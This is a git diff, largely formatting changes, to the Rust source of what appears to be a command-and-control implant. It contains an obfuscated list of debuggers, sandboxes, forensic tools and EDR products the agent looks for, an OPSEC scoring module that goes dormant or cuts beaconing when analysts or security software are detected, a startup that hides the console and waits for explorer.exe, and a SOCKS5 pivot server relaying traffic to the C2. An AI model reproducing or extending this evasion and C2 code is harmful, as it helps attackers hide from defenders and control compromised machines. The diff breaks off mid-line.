obfstr!("OllyDbg").to_string(), + obfstr!("WinDbg").to_string(), + obfstr!("Process Monitor").to_string(), + obfstr!("Process Explorer").to_string(), + obfstr!("Autoruns").to_string(), + obfstr!("Registry Monitor").to_string(), + obfstr!("File Monitor").to_string(), + obfstr!("API Monitor").to_string(), + obfstr!("Wireshark").to_string(), + obfstr!("Burp Suite").to_string(), + obfstr!("Fiddler").to_string(), + obfstr!("TCPView").to_string(), + obfstr!("PE-bear").to_string(), + obfstr!("PEiD").to_string(), + obfstr!("PEView").to_string(), + obfstr!("CFF Explorer").to_string(), + obfstr!("Resource Hacker").to_string(), + obfstr!("Dependency Walker").to_string(), + obfstr!("Ghidra").to_string(), + obfstr!("Binary Ninja").to_string(), + obfstr!("Radare2").to_string(), + obfstr!("HxD").to_string(), + obfstr!("010 Editor").to_string(), + // Sandbox/VM Window Titles + obfstr!("VMware").to_string(), + obfstr!("VirtualBox").to_string(), + obfstr!("QEMU").to_string(), + obfstr!("Sandboxie").to_string(), + obfstr!("Joe Sandbox").to_string(), + obfstr!("Cuckoo Sandbox").to_string(), + obfstr!("ANY.RUN").to_string(), + obfstr!("Hybrid Analysis").to_string(), + // Forensics Tools + obfstr!("Volatility").to_string(), + obfstr!("Autopsy").to_string(), + obfstr!("Sleuth Kit").to_string(), + obfstr!("FTK Imager").to_string(), + obfstr!("EnCase").to_string(), + obfstr!("SANS SIFT").to_string(), + obfstr!("AXIOM").to_string(), + // Security Software + obfstr!("CrowdStrike").to_string(), + obfstr!("Falcon").to_string(), + obfstr!("SentinelOne").to_string(), + obfstr!("Carbon Black").to_string(), + obfstr!("Cylance").to_string(), + obfstr!("Symantec Endpoint").to_string(), + obfstr!("McAfee").to_string(), + obfstr!("Trend Micro").to_string(), + obfstr!("Kaspersky").to_string(), + obfstr!("ESET").to_string(), + obfstr!("Malwarebytes").to_string(), + obfstr!("Windows Defender").to_string(), + obfstr!("Microsoft Defender").to_string(), + // Command Prompts and Shells (suspicious if multiple) + obfstr!("Command Prompt").to_string(), + obfstr!("PowerShell").to_string(), + obfstr!("Windows PowerShell").to_string(), + obfstr!("PowerShell ISE").to_string(), + obfstr!("Task Manager").to_string(), + obfstr!("Services").to_string(), + obfstr!("Registry Editor").to_string(), + obfstr!("Event Viewer").to_string(), + // Network Tools + obfstr!("Nmap").to_string(), + obfstr!("Metasploit").to_string(), + obfstr!("Cobalt Strike").to_string(), + obfstr!("Armitage").to_string(), + obfstr!("Nessus").to_string(), + obfstr!("OpenVAS").to_string(), + obfstr!("Rapid7").to_string(), + ] +}); diff --git a/agent/src/lib.rs b/agent/src/lib.rs index 4131d6b..3139bd6 100644 --- a/agent/src/lib.rs +++ b/agent/src/lib.rs @@ -1,11 +1,11 @@ pub mod commands; pub mod config; -pub mod networking; -pub mod opsec; -pub mod util; pub mod dormant; -pub mod state; pub mod file_handling; pub mod high_threat_tools; +pub mod networking; +pub mod opsec; +pub mod state; +pub mod util; #[cfg(target_os = "windows")] -pub mod win_api_hiding; \ No newline at end of file +pub mod win_api_hiding; diff --git a/agent/src/main.rs b/agent/src/main.rs index 8dffe75..edc85d1 100644 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -1,4 +1,7 @@ -#![cfg_attr(all(target_os = "windows", not(debug_assertions)), windows_subsystem = "windows")] +#![cfg_attr( + all(target_os = "windows", not(debug_assertions)), + windows_subsystem = "windows" +)] // Use modules from the library crate 'agent' use agent::commands; @@ -13,13 +16,13 @@ use agent::commands::command_shell::agent_loop; use agent::config::AgentConfig; use agent::networking::socks5_pivot::Socks5PivotHandler; use agent::networking::socks5_pivot_server::Socks5PivotServer; -use agent::opsec::{AgentMode, determine_agent_mode}; +use agent::opsec::{determine_agent_mode, AgentMode}; use agent::state::MEMORY_PROTECTOR; -use std::time::Duration; -use std::sync::Arc; -use log::{info, warn, error}; +use log::{error, info, warn}; use std::env; +use std::sync::Arc; +use std::time::Duration; // Helper function to get current timestamp fn now_timestamp() -> std::time::Instant { @@ -31,16 +34,20 @@ fn now_timestamp() -> std::time::Instant { // It checks for the presence of explorer.exe and waits for up to 10 minutes #[cfg(target_os = "windows")] fn dormant_startup() { - use sysinfo::{System, RefreshKind}; - use std::ffi::OsStr; use obfstr::obfstr; + use std::ffi::OsStr; + use sysinfo::{RefreshKind, System}; let mut sys = System::new_with_specifics(RefreshKind::everything()); let start = now_timestamp(); // Wait up to 10 minutes or until explorer.exe is running while start.elapsed().as_secs() < 600 { sys.refresh_specifics(RefreshKind::everything()); - if sys.processes_by_name(OsStr::new(obfstr!("explorer.exe"))).next().is_some() { + if sys + .processes_by_name(OsStr::new(obfstr!("explorer.exe"))) + .next() + .is_some() + { break; } std::thread::sleep(std::time::Duration::from_secs(5)); @@ -60,7 +67,9 @@ async fn main() -> Result<(), Box> { // Channel for pivot frames let (pivot_tx, mut pivot_rx) = tokio::sync::mpsc::channel(100); - let pivot_handler = Arc::new(tokio::sync::Mutex::new(agent::networking::socks5_pivot::Socks5PivotHandler::new(pivot_tx.clone()))); + let pivot_handler = Arc::new(tokio::sync::Mutex::new( + agent::networking::socks5_pivot::Socks5PivotHandler::new(pivot_tx.clone()), + )); if config.socks5_enabled { info!("[CONFIG] SOCKS5 is enabled. Proxy: {}:{}, all C2 traffic will use SOCKS5 Proxy tunnel.", config.socks5_host, config.socks5_port); @@ -90,7 +99,7 @@ async fn main() -> Result<(), Box> { let server_addr = env::args() .nth(1) .unwrap_or_else(|| config.get_server_url()); - + let agent_id = config.payload_id.clone(); info!("[INFO] Agent ID: {}", agent_id); @@ -107,13 +116,19 @@ async fn main() -> Result<(), Box> { agent::opsec::AgentMode::ReducedActivity => { info!("[OPSEC] Moderately high score. Entering ReducedActivity mode. Attempting heartbeat then sleeping longer."); - if let Err(e) = agent::commands::command_shell::send_heartbeat_with_client(&config, &server_addr, &agent_id).await { + if let Err(e) = agent::commands::command_shell::send_heartbeat_with_client( + &config, + &server_addr, + &agent_id, + ) + .await + { error!("[OPSEC] Heartbeat failed in ReducedActivity (initial loop): {}. C2 failure counter updated internally.", e); } else { info!("[OPSEC] Heartbeat successful in ReducedActivity (initial loop)."); } - - std::thread::sleep(Duration::from_secs(config.reduced_activity_sleep_secs)); + + std::thread::sleep(Duration::from_secs(config.reduced_activity_sleep_secs)); } agent::opsec::AgentMode::FullOpsec => { info!("[OPSEC] Not safe to beacon home. Staying in FullOpsec (encrypted and dormant)."); @@ -123,14 +138,24 @@ async fn main() -> Result<(), Box> { } // --- End Initial Opsec Check Loop --- - // --- Main Agent Execution Loop --- - loop { + // --- Main Agent Execution Loop --- + loop { // agent_loop handles C2 comms and command execution - if let Err(e) = agent::commands::command_shell::agent_loop(&server_addr, &agent_id, pivot_handler.clone(), pivot_tx.clone()).await { - error!("[ERROR] Agent loop error: {}. Preparing to re-assess OPSEC state.", e); + if let Err(e) = agent::commands::command_shell::agent_loop( + &server_addr, + &agent_id, + pivot_handler.clone(), + pivot_tx.clone(), + ) + .await + { + error!( + "[ERROR] Agent loop error: {}. Preparing to re-assess OPSEC state.", + e + ); // Don't immediately exit; re-assess below } - + info!("[OPSEC] Returned from agent_loop or error occurred. Re-assessing OPSEC state..."); // Re-assessment Loop (similar to initial check) @@ -144,13 +169,21 @@ async fn main() -> Result<(), Box> { agent::opsec::AgentMode::ReducedActivity => { info!("[OPSEC] Moderately high score. Entering ReducedActivity mode. Attempting heartbeat then sleeping longer."); - if let Err(e) = agent::commands::command_shell::send_heartbeat_with_client(&config, &server_addr, &agent_id).await { + if let Err(e) = agent::commands::command_shell::send_heartbeat_with_client( + &config, + &server_addr, + &agent_id, + ) + .await + { error!("[OPSEC] Heartbeat failed in ReducedActivity (re-assessment loop): {}. C2 failure counter updated internally.", e); } else { - info!("[OPSEC] Heartbeat successful in ReducedActivity (re-assessment loop)."); + info!( + "[OPSEC] Heartbeat successful in ReducedActivity (re-assessment loop)." + ); } - - std::thread::sleep(Duration::from_secs(config.reduced_activity_sleep_secs)); + + std::thread::sleep(Duration::from_secs(config.reduced_activity_sleep_secs)); } agent::opsec::AgentMode::FullOpsec => { info!("[OPSEC] Not safe to beacon home. Staying in FullOpsec (encrypted and dormant)."); diff --git a/agent/src/networking/egress.rs b/agent/src/networking/egress.rs index 07c24fd..d7e45b6 100644 --- a/agent/src/networking/egress.rs +++ b/agent/src/networking/egress.rs @@ -12,4 +12,4 @@ pub fn get_egress_ip(server_ip: &str) -> String { } } "Unknown".to_string() -} \ No newline at end of file +} diff --git a/agent/src/networking/mod.rs b/agent/src/networking/mod.rs index bbb38ad..f5e7d50 100644 --- a/agent/src/networking/mod.rs +++ b/agent/src/networking/mod.rs @@ -1,4 +1,4 @@ +pub mod egress; pub mod socks5; pub mod socks5_pivot; pub mod socks5_pivot_server; -pub mod egress; \ No newline at end of file diff --git a/agent/src/networking/socks5.rs b/agent/src/networking/socks5.rs index 7087f04..51ef41d 100644 --- a/agent/src/networking/socks5.rs +++ b/agent/src/networking/socks5.rs @@ -1,11 +1,11 @@ -use tokio::net::TcpStream; -use tokio_socks::tcp::Socks5Stream; -use std::net::SocketAddr; -use std::time::Duration; +use log::{debug, error, info, warn}; use std::collections::HashMap; +use std::net::SocketAddr; use std::sync::Arc; +use std::time::Duration; +use tokio::net::TcpStream; use tokio::sync::Mutex; -use log::{debug, info, warn, error}; +use tokio_socks::tcp::Socks5Stream; // SOCKS5 Protocol Constants pub const SOCKS5_VERSION: u8 = 0x05; @@ -118,7 +118,10 @@ pub struct Socks5Client { impl Socks5Client { pub fn new(proxy_addr: String, proxy_port: u16) -> Self { - info!("[SOCKS5] Creating new client for proxy {}:{}", proxy_addr, proxy_port); + info!( + "[SOCKS5] Creating new client for proxy {}:{}", + proxy_addr, proxy_port + ); Self { proxy_addr, proxy_port, @@ -159,16 +162,24 @@ impl Socks5Client { debug!("[SOCKS5] Storing connection to pool for {}", target); let mut pool = self.connection_pool.lock().await; let connections = pool.entry(target).or_insert_with(Vec::new); - if connections.len() < 10 { // Max 10 connections per target + if connections.len() < 10 { + // Max 10 connections per target connections.push(conn); } else { debug!("[SOCKS5] Connection pool for target full, dropping connection."); } } - pub async fn connect_to(&self, target_addr: String, target_port: u16) -> Result { + pub async fn connect_to( + &self, + target_addr: String, + target_port: u16, + ) -> Result { let target_key = format!("{}:{}", target_addr, target_port); - info!("[SOCKS5] Attempting to connect to {} via proxy {}:{}", target_key, self.proxy_addr, self.proxy_port); + info!( + "[SOCKS5] Attempting to connect to {} via proxy {}:{}", + target_key, self.proxy_addr, self.proxy_port + ); if let Some(conn) = self.get_pooled_connection(&target_key).await { info!("[SOCKS5] Using pooled connection for {}", target_key); return Ok(conn); @@ -186,47 +197,49 @@ impl Socks5Client { let stream = match (&self.username, &self.password) { (Some(user), Some(pass)) => { - info!("[SOCKS5] Connecting with authentication as user '{}'.", user); + info!( + "[SOCKS5] Connecting with authentication as user '{}'.", + user + ); match tokio::time::timeout( self.timeout, - Socks5Stream::connect_with_password( - addr, - target.clone(), - user, - pass, - ) - ).await { + Socks5Stream::connect_with_password(addr, target.clone(), user, pass), + ) + .await + { Ok(Ok(s)) => { - info!("[SOCKS5] Authenticated SOCKS5 connection established to {}.", target); + info!( + "[SOCKS5] Authenticated SOCKS5 connection established to {}.", + target + ); s - }, + } Ok(Err(e)) => { error!("[SOCKS5] SOCKS5 connection failed: {}", e); return Err(Socks5Error::ConnectionFailed(e.to_string())); - }, + } Err(_) => { error!("[SOCKS5] SOCKS5 connection to {} timed out.", target); return Err(Socks5Error::Timeout); } } - }, + } _ => { info!("[SOCKS5] Connecting without authentication."); match tokio::time::timeout( self.timeout, - Socks5Stream::connect( - addr, - target.clone(), - ) - ).await { + Socks5Stream::connect(addr, target.clone()), + ) + .await + { Ok(Ok(s)) => { info!("[SOCKS5] SOCKS5 connection established to {}.", target); s - }, + } Ok(Err(e)) => { error!("[SOCKS5] SOCKS5 connection failed: {}", e); return Err(Socks5Error::ConnectionFailed(e.to_string())); - }, + } Err(_) => { error!("[SOCKS5] SOCKS5 connection to {} timed out.", target); return Err(Socks5Error::Timeout); @@ -239,16 +252,29 @@ impl Socks5Client { Ok(tcp_stream) } - pub async fn connect_with_retries(&self, target_addr: String, target_port: u16, retries: u32) -> Result { + pub async fn connect_with_retries( + &self, + target_addr: String, + target_port: u16, + retries: u32, + ) -> Result { let mut attempts = 0; let mut last_error = None; - info!("[SOCKS5] Connecting to {}:{} with up to {} retries.", target_addr, target_port, retries); + info!( + "[SOCKS5] Connecting to {}:{} with up to {} retries.", + target_addr, target_port, retries + ); while attempts < retries { match self.connect_to(target_addr.clone(), target_port).await { Ok(stream) => { - info!("[SOCKS5] Connection to {}:{} succeeded on attempt {}.", target_addr, target_port, attempts + 1); + info!( + "[SOCKS5] Connection to {}:{} succeeded on attempt {}.", + target_addr, + target_port, + attempts + 1 + ); return Ok(stream); - }, + } Err(e) => { warn!("[SOCKS5] Attempt {} failed: {}", attempts + 1, e); last_error = Some(e); @@ -262,7 +288,9 @@ impl Socks5Client { } } error!("[SOCKS5] All {} connection attempts failed.", retries); - Err(last_error.unwrap_or(Socks5Error::ConnectionFailed("Max retries exceeded".to_string()))) + Err(last_error.unwrap_or(Socks5Error::ConnectionFailed( + "Max retries exceeded".to_string(), + ))) } } @@ -272,9 +300,9 @@ mod tests { #[tokio::test] async fn test_socks5_connection() { - let client = Socks5Client::new("127.0.0.1".to_string(), 1080) - .with_timeout(Duration::from_secs(5)); - + let client = + Socks5Client::new("127.0.0.1".to_string(), 1080).with_timeout(Duration::from_secs(5)); + let result = client.connect_to("example.com".to_string(), 80).await; match result { Ok(_) => info!("Connection successful"), @@ -287,8 +315,10 @@ mod tests { let client = Socks5Client::new("127.0.0.1".to_string(), 1080) .with_auth("user".to_string(), "pass".to_string()) .with_timeout(Duration::from_secs(5)); - - let result = client.connect_with_retries("example.com".to_string(), 80, 3).await; + + let result = client + .connect_with_retries("example.com".to_string(), 80, 3) + .await; match result { Ok(_) => info!("Authenticated connection successful"), Err(e) => error!("Authenticated connection failed: {}", e), diff --git a/agent/src/networking/socks5_pivot.rs b/agent/src/networking/socks5_pivot.rs index 5a80092..bf4e306 100644 --- a/agent/src/networking/socks5_pivot.rs +++ b/agent/src/networking/socks5_pivot.rs @@ -1,16 +1,16 @@ -use tokio::sync::mpsc; use std::collections::HashMap; -use tokio::io::AsyncWriteExt; use std::sync::Arc; -use tokio::sync::Mutex; +use tokio::io::AsyncWriteExt; use tokio::net::tcp::OwnedWriteHalf; +use tokio::sync::mpsc; +use tokio::sync::Mutex; #[derive(Debug)] pub enum PivotFrameType { - Open, // Open new connection - Data, // Data for a connection - Close, // Close connection - Error, // Error + Open, // Open new connection + Data, // Data for a connection + Close, // Close connection + Error, // Error } #[derive(Debug)] @@ -20,7 +20,6 @@ pub struct PivotFrame { pub payload: Vec, } - // Implementing the PivotFrame struct impl PivotFrame { pub fn open(stream_id: u32, addr: String) -> Self { @@ -67,16 +66,25 @@ impl Socks5PivotHandler { pub async fn handle_frame(&mut self, frame: PivotFrame) { log::info!( "[SOCKS5-PIVOT] Received frame: type={:?}, stream_id={}, payload_len={}", - frame.frame_type, frame.stream_id, frame.payload.len() + frame.frame_type, + frame.stream_id, + frame.payload.len() ); match frame.frame_type { PivotFrameType::Data => { if let Some(stream) = self.streams.get(&frame.stream_id) { let mut stream = stream.lock().await; - log::debug!("[SOCKS5-PIVOT] Writing {} bytes to stream {}", frame.payload.len(), frame.stream_id); + log::debug!( + "[SOCKS5-PIVOT] Writing {} bytes to stream {}", + frame.payload.len(), + frame.stream_id + ); let _ = stream.write_all(&frame.payload).await; } else { - log::warn!("[SOCKS5-PIVOT] No stream found for stream_id {}", frame.stream_id); + log::warn!( + "[SOCKS5-PIVOT] No stream found for stream_id {}", + frame.stream_id + ); } } PivotFrameType::Close => { @@ -86,4 +94,4 @@ impl Socks5PivotHandler { _ => {} } } -} \ No newline at end of file +} diff --git a/agent/src/networking/socks5_pivot_server.rs b/agent/src/networking/socks5_pivot_server.rs index fd7a16d..e3dbcd5 100644 --- a/agent/src/networking/socks5_pivot_server.rs +++ b/agent/src/networking/socks5_pivot_server.rs @@ -1,11 +1,11 @@ -use tokio::net::{TcpListener, TcpStream}; -use tokio::sync::mpsc; use crate::networking::socks5_pivot::{PivotFrame, Socks5PivotHandler}; +use log::{error, info}; +use std::net::Ipv4Addr; +use std::sync::atomic::{AtomicU32, Ordering}; use std::sync::Arc; -use log::{info, error}; use tokio::io::{AsyncReadExt, AsyncWriteExt}; -use std::sync::atomic::{AtomicU32, Ordering}; -use std::net::Ipv4Addr; +use tokio::net::{TcpListener, TcpStream}; +use tokio::sync::mpsc; use tokio::sync::Mutex; pub struct Socks5PivotServer { @@ -17,12 +17,22 @@ pub struct Socks5PivotServer { // Socks5PivotServer implements a SOCKS5 proxy server that relays connections to a C2 server. impl Socks5PivotServer { pub fn new(listen_addr: String, listen_port: u16, pivot_tx: mpsc::Sender) -> Self { - Self { listen_addr, listen_port, pivot_tx } + Self { + listen_addr, + listen_port, + pivot_tx, + } } pub async fn run(self, pivot_handler: Arc>) { let addr = format!("{}:{}", self.listen_addr, self.listen_port); - let listener = TcpListener::bind(&addr).await.expect("Failed to bind SOCKS5 pivot server"); + let listener = match TcpListener::bind(&addr).await { + Ok(listener) => listener, + Err(e) => { + error!("[SOCKS5-PIVOT] Failed to bind {}: {}", addr, e); + return; + } + }; info!("[SOCKS5-PIVOT] Listening on {}", addr); loop { @@ -70,7 +80,8 @@ async fn handle_socks5_client( return Err("Only SOCKS5 CONNECT supported".into()); } let addr = match header[3] { - 0x01 => { // IPv4 + 0x01 => { + // IPv4 let mut ip = [0u8; 4]; stream.read_exact(&mut ip).await?; let mut port = [0u8; 2]; @@ -79,7 +90,8 @@ async fn handle_socks5_client( let port = u16::from_be_bytes(port); format!("{}:{}", ip, port) } - 0x03 => { // Domain + 0x03 => { + // Domain let mut len = [0u8; 1]; stream.read_exact(&mut len).await?; let mut domain = vec![0u8; len[0] as usize]; @@ -95,12 +107,18 @@ async fn handle_socks5_client( // 3. Assign unique stream ID let stream_id = STREAM_ID_COUNTER.fetch_add(1, Ordering::Relaxed); - info!("[SOCKS5-PIVOT] CONNECT to {} (stream_id={})", addr, stream_id); + info!( + "[SOCKS5-PIVOT] CONNECT to {} (stream_id={})", + addr, stream_id + ); // 4. Send PivotFrame::Open to C2 let open_frame = PivotFrame::open(stream_id, addr.clone()); pivot_tx.send(open_frame).await?; - info!("[SOCKS5-PIVOT] Sent PivotFrame::Open for stream_id {}", stream_id); + info!( + "[SOCKS5-PIVOT] Sent PivotFrame::Open for stream_id {}", + stream_id + ); // 5. Reply to client: success // Version, success, reserved, address type, bind addr/port (dummy) @@ -108,7 +126,8 @@ async fn handle_socks5_client( stream.write_all(&reply).await?; // 6. Register stream with handler for multiplexing - let (mut reader, writer) = stream.into_split();{ + let (mut reader, writer) = stream.into_split(); + { let mut handler = pivot_handler.lock().await; handler.register_stream(stream_id, Arc::new(Mutex::new(writer))); } @@ -120,25 +139,42 @@ async fn handle_socks5_client( loop { match reader.read(&mut buf).await { Ok(0) => { - log::info!("[SOCKS5-PIVOT] Client closed connection (stream_id={})", stream_id); + log::info!( + "[SOCKS5-PIVOT] Client closed connection (stream_id={})", + stream_id + ); break; } Ok(n) => { - log::debug!("[SOCKS5-PIVOT] Read {} bytes from SOCKS5 client (stream_id={})", n, stream_id); + log::debug!( + "[SOCKS5-PIVOT] Read {} bytes from SOCKS5 client (stream_id={})", + n, + stream_id + ); let frame = PivotFrame::data(stream_id, buf[..n].to_vec()); if c2_sender.send(frame).await.is_err() { - log::warn!("[SOCKS5-PIVOT] Failed to send data frame to C2 (stream_id={})", stream_id); + log::warn!( + "[SOCKS5-PIVOT] Failed to send data frame to C2 (stream_id={})", + stream_id + ); break; } } Err(e) => { - log::error!("[SOCKS5-PIVOT] Error reading from client (stream_id={}): {:?}", stream_id, e); + log::error!( + "[SOCKS5-PIVOT] Error reading from client (stream_id={}): {:?}", + stream_id, + e + ); break; } } } let _ = c2_sender.send(PivotFrame::close(stream_id)).await; - log::info!("[SOCKS5-PIVOT] Sent close frame to C2 (stream_id={})", stream_id); + log::info!( + "[SOCKS5-PIVOT] Sent close frame to C2 (stream_id={})", + stream_id + ); }); info!("[SOCKS5-PIVOT] Started relay for stream_id {}", stream_id); @@ -149,4 +185,4 @@ async fn handle_socks5_client( info!("[SOCKS5-PIVOT] Opened stream {} to {}", stream_id, addr); Ok(()) -} \ No newline at end of file +} diff --git a/agent/src/opsec.rs b/agent/src/opsec.rs index 5b20005..e4a3471 100644 --- a/agent/src/opsec.rs +++ b/agent/src/opsec.rs @@ -1,11 +1,13 @@ +use crate::high_threat_tools::{ + COMMON_AV_EDR_PROCESSES, HIGH_THREAT_ANALYSIS_TOOLS, SUSPICIOUS_WINDOW_TITLES, +}; +use crate::state::MEMORY_PROTECTOR; use chrono::Datelike; -use log::{debug, warn, info}; -use std::sync::Mutex; use chrono::Timelike; +use log::{debug, info, warn}; use once_cell::sync::Lazy; -use serde::{Serialize, Deserialize}; -use crate::state::MEMORY_PROTECTOR; -use crate::high_threat_tools::{HIGH_THREAT_ANALYSIS_TOOLS, COMMON_AV_EDR_PROCESSES, SUSPICIOUS_WINDOW_TITLES}; +use serde::{Deserialize, Serialize}; +use std::sync::Mutex; use zeroize::Zeroize; // --- OPSEC Scoring Constants --- @@ -22,27 +24,27 @@ const WEIGHT_C2_UNSTABLE: f32 = 25.0; const WEIGHT_NOISY_COMMAND_EXECUTION: f32 = 20.0; // === Correlation Bonus Constants === -const CORRELATION_MULTIPLIER: f32 = 1.5; // Multiply individual signals when 2+ active -const HIGH_CORRELATION_BONUS: f32 = 25.0; // Bonus for 3+ signals -const CRITICAL_CORRELATION_BONUS: f32 = 50.0; // Bonus for 4+ signals +const CORRELATION_MULTIPLIER: f32 = 1.5; // Multiply individual signals when 2+ active +const HIGH_CORRELATION_BONUS: f32 = 25.0; // Bonus for 3+ signals +const CRITICAL_CORRELATION_BONUS: f32 = 50.0; // Bonus for 4+ signals // Specific dangerous combinations -const ANALYST_WORKING_BONUS: f32 = 30.0; // Analysis tool + user active -const MULTIPLE_THREATS_BONUS: f32 = 20.0; // Process + window threat +const ANALYST_WORKING_BONUS: f32 = 30.0; // Analysis tool + user active +const MULTIPLE_THREATS_BONUS: f32 = 20.0; // Process + window threat // === DYNAMIC THRESHOLD CONSTANTS === -const THRESHOLD_ADJUSTMENT_STABLE: f32 = 5.0; // Increase thresholds when stable -const THRESHOLD_ADJUSTMENT_UNSTABLE: f32 = -8.0; // Decrease thresholds when unstable -const THRESHOLD_MIN_CLAMP: f32 = 10.0; // Minimum threshold values -const THRESHOLD_MAX_CLAMP: f32 = 90.0; // Maximum threshold values +const THRESHOLD_ADJUSTMENT_STABLE: f32 = 5.0; // Increase thresholds when stable +const THRESHOLD_ADJUSTMENT_UNSTABLE: f32 = -8.0; // Decrease thresholds when unstable +const THRESHOLD_MIN_CLAMP: f32 = 10.0; // Minimum threshold values +const THRESHOLD_MAX_CLAMP: f32 = 90.0; // Maximum threshold values // Hysteresis constants (different thresholds for entering vs exiting) -const HYSTERESIS_BUFFER: f32 = 5.0; // Buffer between enter/exit thresholds +const HYSTERESIS_BUFFER: f32 = 5.0; // Buffer between enter/exit thresholds // Environment-based threshold modifiers -const BUSINESS_HOURS_MODIFIER: f32 = 10.0; // Increase thresholds during business hours -const USER_ACTIVE_MODIFIER: f32 = 8.0; // Increase thresholds when user active -const HIGH_THREAT_MODIFIER: f32 = 15.0; // Increase thresholds when threats detected +const BUSINESS_HOURS_MODIFIER: f32 = 10.0; // Increase thresholds during business hours +const USER_ACTIVE_MODIFIER: f32 = 8.0; // Increase thresholds when user active +const HIGH_THREAT_MODIFIER: f32 = 15.0; // Increase thresholds when threats detected #[derive(Debug, Clone, Copy, PartialEq, Serialize, Deserialize)] pub struct OpsecState { @@ -54,12 +56,12 @@ pub struct OpsecState { pub last_noisy_command_time: Option, pub last_transition: u64, pub last_c2_threshold_adjustment: u64, - + // === ADD THESE MISSING FIELDS === - pub dyn_enter_full: f32, // Score threshold to enter FullOpsec - pub dyn_exit_full: f32, // Score threshold to exit FullOpsec - pub dyn_enter_reduced: f32, // Score threshold to enter ReducedActivity - pub dyn_exit_reduced: f32, // Score threshold to exit ReducedActivity + pub dyn_enter_full: f32, // Score threshold to enter FullOpsec + pub dyn_exit_full: f32, // Score threshold to exit FullOpsec + pub dyn_enter_reduced: f32, // Score threshold to enter ReducedActivity + pub dyn_exit_reduced: f32, // Score threshold to exit ReducedActivity pub threshold_adjustment_history: u32, // Track adjustment history for stability } @@ -93,7 +95,7 @@ pub enum OpsecLevel { pub enum AgentMode { FullOpsec, ReducedActivity, - BackgroundOpsec + BackgroundOpsec, } #[derive(Debug)] @@ -132,8 +134,9 @@ fn timestamp_elapsed_secs(timestamp: u64) -> u64 { } // MAKE these functions PUBLIC for use in command_shell.rs -pub fn with_opsec_state(accessor: F) -> R -where F: Fn(&OpsecState) -> R, +pub fn with_opsec_state(accessor: F) -> R +where + F: Fn(&OpsecState) -> R, { let protector = MEMORY_PROTECTOR.lock().unwrap(); match protector.with_opsec_state(&accessor) { @@ -147,8 +150,9 @@ where F: Fn(&OpsecState) -> R, } } -pub fn with_opsec_state_mut(updater: F) -> R -where F: Fn(&mut OpsecState) -> R, +pub fn with_opsec_state_mut(updater: F) -> R +where + F: Fn(&mut OpsecState) -> R, { let mut protector = MEMORY_PROTECTOR.lock().unwrap(); match protector.with_opsec_state_mut(&updater) { @@ -179,39 +183,49 @@ pub fn determine_agent_mode(config: &crate::config::AgentConfig) -> AgentMode { let current_score = with_opsec_state(|state| state.current_score); let mut base_interval = config.proc_scan_interval_secs; - if context.is_business_hours { base_interval = base_interval.min(120); } - if current_score > 75.0 { base_interval = base_interval.min(30); } - else if current_score > 40.0 { base_interval = base_interval.min(60); } - if context.user_idle_level == OpsecLevel::Low { base_interval = base_interval.max(300); } + if context.is_business_hours { + base_interval = base_interval.min(120); + } + if current_score > 75.0 { + base_interval = base_interval.min(30); + } else if current_score > 40.0 { + base_interval = base_interval.min(60); + } + if context.user_idle_level == OpsecLevel::Low { + base_interval = base_interval.max(300); + } let jitter = rand::random::() % 61; let adaptive_interval = base_interval + jitter; debug!( "[OPSEC INTERVAL] Adaptive Interval: {}s (Base: {}, Jitter: {}, Score: {:.1}, Idle: {:?})", - adaptive_interval, config.proc_scan_interval_secs, jitter, current_score, context.user_idle_level + adaptive_interval, + config.proc_scan_interval_secs, + jitter, + current_score, + context.user_idle_level ); context.high_threat_process_detected = check_proc_state(adaptive_interval); - with_opsec_state_mut(|opsec_state| { - update_opsec_score_and_mode(opsec_state, &context, config) - }) + with_opsec_state_mut(|opsec_state| update_opsec_score_and_mode(opsec_state, &context, config)) } fn update_opsec_score_and_mode( opsec_state: &mut OpsecState, context: &OpsecContext, - config: &crate::config::AgentConfig + config: &crate::config::AgentConfig, ) -> AgentMode { // 1. Initialize dynamic thresholds if needed if !opsec_state.dynamic_threshold_initialized { opsec_state.dyn_enter_full = config.base_score_threshold_reduced_to_full; opsec_state.dyn_exit_full = config.base_score_threshold_reduced_to_full - HYSTERESIS_BUFFER; opsec_state.dyn_enter_reduced = config.base_score_threshold_bg_to_reduced; - opsec_state.dyn_exit_reduced = config.base_score_threshold_bg_to_reduced - HYSTERESIS_BUFFER; + opsec_state.dyn_exit_reduced = + config.base_score_threshold_bg_to_reduced - HYSTERESIS_BUFFER; opsec_state.dynamic_threshold_initialized = true; info!("[OPSEC DYNAMIC] Initialized thresholds: Enter/Exit Full: {:.1}/{:.1}, Enter/Exit Reduced: {:.1}/{:.1}", - opsec_state.dyn_enter_full, opsec_state.dyn_exit_full, + opsec_state.dyn_enter_full, opsec_state.dyn_exit_full, opsec_state.dyn_enter_reduced, opsec_state.dyn_exit_reduced); } @@ -222,66 +236,93 @@ fn update_opsec_score_and_mode( opsec_state.current_score *= SCORE_DECAY_FACTOR; // 4. === Calculate correlation bonuses FIRST === - let (correlation_multiplier, correlation_bonus) = calculate_correlation_bonus(context, opsec_state); + let (correlation_multiplier, correlation_bonus) = + calculate_correlation_bonus(context, opsec_state); // 5. Add weighted contributions WITH correlation multiplier let mut score_increase: f32 = 0.0; let user_is_active = context.user_idle_level == OpsecLevel::High; - + if context.is_business_hours { let weight = WEIGHT_BUSINESS_HOURS * correlation_multiplier; score_increase += weight; - debug!("[OPSEC] Business hours: +{:.1} (×{:.1})", weight, correlation_multiplier); + debug!( + "[OPSEC] Business hours: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } if user_is_active { let weight = WEIGHT_USER_ACTIVE * correlation_multiplier; score_increase += weight; - debug!("[OPSEC] User active: +{:.1} (×{:.1})", weight, correlation_multiplier); + debug!( + "[OPSEC] User active: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } if context.high_threat_process_detected { let weight = WEIGHT_HIGH_THREAT_PROCESS * correlation_multiplier; score_increase += weight; - warn!("[OPSEC] Threat process: +{:.1} (×{:.1})", weight, correlation_multiplier); + warn!( + "[OPSEC] Threat process: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } if context.suspicious_window_detected { let weight = WEIGHT_SUSPICIOUS_WINDOW * correlation_multiplier; score_increase += weight; - warn!("[OPSEC] Suspicious window: +{:.1} (×{:.1})", weight, correlation_multiplier); + warn!( + "[OPSEC] Suspicious window: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } if context.c2_connection_unstable { let weight = WEIGHT_C2_UNSTABLE * correlation_multiplier; score_increase += weight; - warn!("[OPSEC] C2 unstable: +{:.1} (×{:.1})", weight, correlation_multiplier); + warn!( + "[OPSEC] C2 